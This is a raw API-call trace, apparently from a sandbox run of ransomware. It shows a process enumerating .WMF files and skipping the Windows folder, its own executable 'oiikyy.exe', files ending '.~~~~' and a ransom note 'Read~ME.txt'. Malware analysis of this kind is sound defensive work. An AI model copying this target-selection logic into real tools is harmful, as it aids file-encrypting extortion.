	[0083.768] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5d7f800, ftCreationTime.dwHighDateTime=0x1bd4b16, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5d7f800, ftLastWriteTime.dwHighDateTime=0x1bd4b16, nFileSizeHigh=0x0, nFileSizeLow=0x620, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00636_.WMF", cAlternateFileName="")) returned 1
	[0083.768] lstrcmpiW (lpString1="HH00636_.WMF", lpString2="Windows") returned -1
	[0083.768] lstrcmpW (lpString1="HH00636_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.768] StrStrW (lpFirst="HH00636_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.768] lstrcmpW (lpString1="HH00636_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.769] GetCurrentThreadId () returned 0x618
	[0083.769] RtlWakeConditionVariable () returned 0x365f48
	[0083.769] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9db29500, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9db29500, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x2ce2, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00669_.WMF", cAlternateFileName="")) returned 1
	[0083.769] lstrcmpiW (lpString1="HH00669_.WMF", lpString2="Windows") returned -1
	[0083.769] lstrcmpW (lpString1="HH00669_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.769] StrStrW (lpFirst="HH00669_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.769] lstrcmpW (lpString1="HH00669_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.769] GetCurrentThreadId () returned 0x618
	[0083.769] RtlWakeConditionVariable () returned 0x365f48
	[0083.769] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39dc9c00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x39dc9c00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x2454, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00681_.WMF", cAlternateFileName="")) returned 1
	[0083.769] lstrcmpiW (lpString1="HH00681_.WMF", lpString2="Windows") returned -1
	[0083.769] lstrcmpW (lpString1="HH00681_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.769] StrStrW (lpFirst="HH00681_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.769] lstrcmpW (lpString1="HH00681_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.769] GetCurrentThreadId () returned 0x618
	[0083.769] RtlWakeConditionVariable () returned 0x365f48
	[0083.769] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cf47e00, ftCreationTime.dwHighDateTime=0x1bd4b1e, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3cf47e00, ftLastWriteTime.dwHighDateTime=0x1bd4b1e, nFileSizeHigh=0x0, nFileSizeLow=0xfc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00685_.WMF", cAlternateFileName="")) returned 1
	[0083.769] lstrcmpiW (lpString1="HH00685_.WMF", lpString2="Windows") returned -1
	[0083.769] lstrcmpW (lpString1="HH00685_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.770] StrStrW (lpFirst="HH00685_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.770] lstrcmpW (lpString1="HH00685_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.770] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.770] GetCurrentThreadId () returned 0x618
	[0083.770] RtlWakeConditionVariable () returned 0x365f48
	[0083.770] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c816800, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9c816800, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x10f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00687_.WMF", cAlternateFileName="")) returned 1
	[0083.831] lstrcmpiW (lpString1="HH00687_.WMF", lpString2="Windows") returned -1
	[0083.831] lstrcmpW (lpString1="HH00687_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.831] StrStrW (lpFirst="HH00687_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.831] lstrcmpW (lpString1="HH00687_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.831] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.832] GetCurrentThreadId () returned 0x618
	[0083.832] RtlWakeConditionVariable () returned 0x365f48
	[0083.832] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x159db100, ftCreationTime.dwHighDateTime=0x1bd4b1e, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x159db100, ftLastWriteTime.dwHighDateTime=0x1bd4b1e, nFileSizeHigh=0x0, nFileSizeLow=0x1bac, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00688_.WMF", cAlternateFileName="")) returned 1
	[0083.832] lstrcmpiW (lpString1="HH00688_.WMF", lpString2="Windows") returned -1
	[0083.832] lstrcmpW (lpString1="HH00688_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.832] StrStrW (lpFirst="HH00688_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.832] lstrcmpW (lpString1="HH00688_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.832] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.832] GetCurrentThreadId () returned 0x618
	[0083.832] RtlWakeConditionVariable () returned 0x365f48
	[0083.832] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b503b00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9b503b00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1bba, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00693_.WMF", cAlternateFileName="")) returned 1
	[0083.832] lstrcmpiW (lpString1="HH00693_.WMF", lpString2="Windows") returned -1
	[0083.832] lstrcmpW (lpString1="HH00693_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.832] StrStrW (lpFirst="HH00693_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.832] lstrcmpW (lpString1="HH00693_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.832] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.832] GetCurrentThreadId () returned 0x618
	[0083.832] RtlWakeConditionVariable () returned 0x365f48
	[0083.833] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7507bb00, ftCreationTime.dwHighDateTime=0x1bd4b36, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7507bb00, ftLastWriteTime.dwHighDateTime=0x1bd4b36, nFileSizeHigh=0x0, nFileSizeLow=0xb20, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01013_.WMF", cAlternateFileName="")) returned 1
	[0083.833] lstrcmpiW (lpString1="HH01013_.WMF", lpString2="Windows") returned -1
	[0083.833] lstrcmpW (lpString1="HH01013_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.833] StrStrW (lpFirst="HH01013_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.833] lstrcmpW (lpString1="HH01013_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.833] GetCurrentThreadId () returned 0x618
	[0083.833] RtlWakeConditionVariable () returned 0x365f48
	[0083.833] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x47c, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01015_.WMF", cAlternateFileName="")) returned 1
	[0083.833] lstrcmpiW (lpString1="HH01015_.WMF", lpString2="Windows") returned -1
	[0083.833] lstrcmpW (lpString1="HH01015_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.833] StrStrW (lpFirst="HH01015_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.833] lstrcmpW (lpString1="HH01015_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.833] GetCurrentThreadId () returned 0x618
	[0083.833] RtlWakeConditionVariable () returned 0x365f48
	[0083.833] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x436e0000, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x436e0000, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0xac4, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01058_.WMF", cAlternateFileName="")) returned 1
	[0083.833] lstrcmpiW (lpString1="HH01058_.WMF", lpString2="Windows") returned -1
	[0083.833] lstrcmpW (lpString1="HH01058_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.833] StrStrW (lpFirst="HH01058_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.833] lstrcmpW (lpString1="HH01058_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.833] GetCurrentThreadId () returned 0x618
	[0083.833] RtlWakeConditionVariable () returned 0x365f48
	[0083.834] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39e49800, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x39e49800, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0x4f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01065_.WMF", cAlternateFileName="")) returned 1
	[0083.834] lstrcmpiW (lpString1="HH01065_.WMF", lpString2="Windows") returned -1
	[0083.834] lstrcmpW (lpString1="HH01065_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.834] StrStrW (lpFirst="HH01065_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.834] lstrcmpW (lpString1="HH01065_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.834] GetCurrentThreadId () returned 0x618
	[0083.834] RtlWakeConditionVariable () returned 0x365f48
	[0083.834] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25a09b00, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x25a09b00, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0x1388, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01080_.WMF", cAlternateFileName="")) returned 1
	[0083.834] lstrcmpiW (lpString1="HH01080_.WMF", lpString2="Windows") returned -1
	[0083.834] lstrcmpW (lpString1="HH01080_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.834] StrStrW (lpFirst="HH01080_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.834] lstrcmpW (lpString1="HH01080_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.834] GetCurrentThreadId () returned 0x618
	[0083.834] RtlWakeConditionVariable () returned 0x365f48
	[0083.834] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1cac, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01242_.WMF", cAlternateFileName="")) returned 1
	[0083.834] lstrcmpiW (lpString1="HH01242_.WMF", lpString2="Windows") returned -1
	[0083.834] lstrcmpW (lpString1="HH01242_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.834] StrStrW (lpFirst="HH01242_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.834] lstrcmpW (lpString1="HH01242_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.834] GetCurrentThreadId () returned 0x618
	[0083.834] RtlWakeConditionVariable () returned 0x365f48
	[0083.835] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3dbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01291_.WMF", cAlternateFileName="")) returned 1
	[0083.835] lstrcmpiW (lpString1="HH01291_.WMF", lpString2="Windows") returned -1
	[0083.835] lstrcmpW (lpString1="HH01291_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.835] StrStrW (lpFirst="HH01291_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.835] lstrcmpW (lpString1="HH01291_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.835] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.835] GetCurrentThreadId () returned 0x618
	[0083.835] RtlWakeConditionVariable () returned 0x365f48
	[0083.835] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1780, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01329_.WMF", cAlternateFileName="")) returned 1
	[0083.835] lstrcmpiW (lpString1="HH01329_.WMF", lpString2="Windows") returned -1
	[0083.835] lstrcmpW (lpString1="HH01329_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.835] StrStrW (lpFirst="HH01329_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.835] lstrcmpW (lpString1="HH01329_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.835] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.835] GetCurrentThreadId () returned 0x618
	[0083.835] RtlWakeConditionVariable () returned 0x365f48
	[0083.835] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90080a00, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x90080a00, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x1746, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01461_.WMF", cAlternateFileName="")) returned 1
	[0083.835] lstrcmpiW (lpString1="HH01461_.WMF", lpString2="Windows") returned -1
	[0083.835] lstrcmpW (lpString1="HH01461_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.835] StrStrW (lpFirst="HH01461_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.835] lstrcmpW (lpString1="HH01461_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.835] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.835] GetCurrentThreadId () returned 0x618
	[0083.835] RtlWakeConditionVariable () returned 0x365f48
	[0083.836] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1c80, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01618_.WMF", cAlternateFileName="")) returned 1
	[0083.836] lstrcmpiW (lpString1="HH01618_.WMF", lpString2="Windows") returned -1
	[0083.836] lstrcmpW (lpString1="HH01618_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.836] StrStrW (lpFirst="HH01618_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.836] lstrcmpW (lpString1="HH01618_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.836] GetCurrentThreadId () returned 0x618
	[0083.836] RtlWakeConditionVariable () returned 0x365f48
	[0083.836] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83101700, ftCreationTime.dwHighDateTime=0x1bd4bdc, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83101700, ftLastWriteTime.dwHighDateTime=0x1bd4bdc, nFileSizeHigh=0x0, nFileSizeLow=0x1526, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01759_.WMF", cAlternateFileName="")) returned 1
	[0083.836] lstrcmpiW (lpString1="HH01759_.WMF", lpString2="Windows") returned -1
	[0083.836] lstrcmpW (lpString1="HH01759_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.836] StrStrW (lpFirst="HH01759_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.836] lstrcmpW (lpString1="HH01759_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.836] GetCurrentThreadId () returned 0x618
	[0083.836] RtlWakeConditionVariable () returned 0x365f48
	[0083.836] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b938600, ftCreationTime.dwHighDateTime=0x1bd4bf0, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b938600, ftLastWriteTime.dwHighDateTime=0x1bd4bf0, nFileSizeHigh=0x0, nFileSizeLow=0xa38, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01875_.WMF", cAlternateFileName="")) returned 1
	[0083.836] lstrcmpiW (lpString1="HH01875_.WMF", lpString2="Windows") returned -1
	[0083.836] lstrcmpW (lpString1="HH01875_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.836] StrStrW (lpFirst="HH01875_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.836] lstrcmpW (lpString1="HH01875_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.836] GetCurrentThreadId () returned 0x618
	[0083.836] RtlWakeConditionVariable () returned 0x365f48
	[0083.836] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71426a00, ftCreationTime.dwHighDateTime=0x1bd4c04, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x71426a00, ftLastWriteTime.dwHighDateTime=0x1bd4c04, nFileSizeHigh=0x0, nFileSizeLow=0x6852, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01923_.WMF", cAlternateFileName="")) returned 1
	[0083.837] lstrcmpiW (lpString1="HH01923_.WMF", lpString2="Windows") returned -1
	[0083.837] lstrcmpW (lpString1="HH01923_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.837] StrStrW (lpFirst="HH01923_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.837] lstrcmpW (lpString1="HH01923_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.837] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.837] GetCurrentThreadId () returned 0x618
	[0083.837] RtlWakeConditionVariable () returned 0x365f48
	[0083.837] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa90, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH02155_.WMF", cAlternateFileName="")) returned 1
	[0083.837] lstrcmpiW (lpString1="HH02155_.WMF", lpString2="Windows") returned -1
	[0083.837] lstrcmpW (lpString1="HH02155_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.837] StrStrW (lpFirst="HH02155_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.837] lstrcmpW (lpString1="HH02155_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.837] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.837] GetCurrentThreadId () returned 0x618
	[0083.837] RtlWakeConditionVariable () returned 0x365f48
	[0083.837] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b48ba00, ftCreationTime.dwHighDateTime=0x1bd4bf3, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b48ba00, ftLastWriteTime.dwHighDateTime=0x1bd4bf3, nFileSizeHigh=0x0, nFileSizeLow=0x52c, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH02166_.WMF", cAlternateFileName="")) returned 1
	[0083.837] lstrcmpiW (lpString1="HH02166_.WMF", lpString2="Windows") returned -1
	[0083.837] lstrcmpW (lpString1="HH02166_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.837] StrStrW (lpFirst="HH02166_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.837] lstrcmpW (lpString1="HH02166_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.837] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.837] GetCurrentThreadId () returned 0x618
	[0083.837] RtlWakeConditionVariable () returned 0x365f48
	[0083.838] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1e4b800, ftCreationTime.dwHighDateTime=0x1bd4bf1, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb1e4b800, ftLastWriteTime.dwHighDateTime=0x1bd4bf1, nFileSizeHigh=0x0, nFileSizeLow=0x1efc, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH02282_.WMF", cAlternateFileName="")) returned 1
	[0083.838] lstrcmpiW (lpString1="HH02282_.WMF", lpString2="Windows") returned -1
	[0083.838] lstrcmpW (lpString1="HH02282_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.838] StrStrW (lpFirst="HH02282_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.838] lstrcmpW (lpString1="HH02282_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.838] GetCurrentThreadId () returned 0x618
	[0083.838] RtlWakeConditionVariable () returned 0x365f48
	[0083.838] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5fa59600, ftCreationTime.dwHighDateTime=0x1bd4bf5, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5fa59600, ftLastWriteTime.dwHighDateTime=0x1bd4bf5, nFileSizeHigh=0x0, nFileSizeLow=0x15b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH02298_.WMF", cAlternateFileName="")) returned 1
	[0083.838] lstrcmpiW (lpString1="HH02298_.WMF", lpString2="Windows") returned -1
	[0083.838] lstrcmpW (lpString1="HH02298_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.838] StrStrW (lpFirst="HH02298_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.838] lstrcmpW (lpString1="HH02298_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.838] GetCurrentThreadId () returned 0x618
	[0083.838] RtlWakeConditionVariable () returned 0x365f48
